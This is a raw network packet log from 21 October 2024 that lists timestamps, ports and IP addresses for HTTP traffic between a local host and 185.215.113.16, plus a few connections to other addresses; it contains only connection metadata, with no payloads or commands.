Oct 21, 2024 10:47:08.411376953 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.411418915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.411453009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.411489964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.411500931 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.411536932 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.411784887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.411842108 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.411875963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.411910057 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.411979914 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.412422895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.412480116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.412513971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.412542105 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.412548065 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.412570953 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.412583113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.412606955 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.412666082 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.413240910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.413276911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.413311005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.413333893 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.413342953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.413361073 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.413383007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.413449049 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.414104939 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.414159060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.414202929 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.414225101 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.416343927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.416399002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.416405916 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.416450024 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.416549921 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.416603088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.416606903 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.416660070 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.566181898 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566195965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566205025 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566226006 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566261053 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.566272974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566277981 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.566319942 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.566364050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566382885 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566411972 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.566432953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566432953 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.566529989 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.566652060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566663980 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566674948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566685915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566695929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.566709995 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.566737890 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.567028999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567039967 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567066908 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567078114 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567084074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.567090034 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567101955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567120075 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.567146063 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.567567110 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567610979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567622900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567624092 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.567656994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567667007 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.567668915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567678928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567689896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.567706108 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.567727089 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.568186045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568197012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568207979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568217993 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568247080 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.568276882 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.568479061 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568603992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.568613052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568624020 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568635941 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568653107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568662882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568674088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568681955 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.568687916 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568697929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568711042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.568784952 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.569437027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.569514036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.569520950 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.569550037 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.569561005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.569569111 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.569571018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.569582939 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.569601059 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.569636106 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.571136951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.571146965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.571201086 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.575162888 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.575211048 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.723722935 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.723860979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.723871946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.723881960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.723896027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.723906994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.723923922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.723928928 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.723938942 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.723964930 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.723967075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.723977089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.723987103 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.723993063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724009991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724014997 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724021912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724031925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724041939 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724056005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724066973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724078894 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724090099 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724098921 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724108934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724118948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724131107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724139929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724150896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724200010 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724363089 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724400997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724432945 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724443913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724462986 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724493027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724518061 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724528074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724534035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724545002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724556923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724582911 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724601984 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724654913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724761963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724771976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724781990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724797964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724808931 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724826097 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724832058 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724848032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724853992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724864960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724875927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724879026 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724884987 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724895954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724910975 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724926949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724936962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.724946022 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724968910 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.724992990 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.725313902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.725375891 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.725375891 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.725385904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.725403070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.725410938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.725446939 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.725476027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.794442892 CEST	443	49861	34.107.243.93	192.168.2.4
Oct 21, 2024 10:47:08.794672012 CEST	49861	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:08.799448013 CEST	49861	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:08.799454927 CEST	443	49861	34.107.243.93	192.168.2.4
Oct 21, 2024 10:47:08.799550056 CEST	49861	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:08.799603939 CEST	443	49861	34.107.243.93	192.168.2.4
Oct 21, 2024 10:47:08.800232887 CEST	49861	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:08.802155018 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:08.807039022 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:08.881134987 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881148100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881159067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881170034 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881181002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881191015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881201982 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881211996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881222963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881234884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881246090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881256104 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881268024 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881293058 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881318092 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881325960 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.881325960 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.881325960 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.881325960 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.881328106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881346941 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.881378889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881390095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881400108 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881411076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881422997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881488085 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.881833076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881844044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881850958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881860971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881866932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881871939 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881876945 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881880999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881886959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881892920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881902933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881910086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.881921053 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.881963015 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.881989956 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.924777985 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:08.927584887 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:08.932574034 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:08.978357077 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:09.034630060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034641981 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034652948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034673929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034682989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034761906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034771919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034782887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034800053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034816027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.034816027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.034852982 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.034852982 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.034902096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034913063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034929991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034946918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.034956932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035007954 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.035049915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035059929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035089970 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035101891 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035111904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035118103 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.035139084 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.035156965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.035191059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035202026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035212040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035247087 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.035269976 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.035346031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035389900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035770893 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035861015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035895109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035949945 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.035980940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036012888 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036015034 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036045074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036051035 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036094904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036128998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036159992 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036161900 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036195040 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036209106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036220074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036242008 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036272049 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036274910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036288977 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036307096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036329985 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036339998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036350012 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036374092 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036406994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036442995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036453962 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036477089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036490917 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036508083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036524057 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036540985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036571026 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036572933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036593914 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036607027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036642075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036645889 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036674976 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036675930 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036695957 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036709070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036729097 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036745071 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036752939 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036777973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.036799908 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.036819935 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.039738894 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.039796114 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.039808035 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.039854050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.039904118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.039906025 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.039953947 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.039963961 CEST	49855	80	192.168.2.4	185.215.113.16
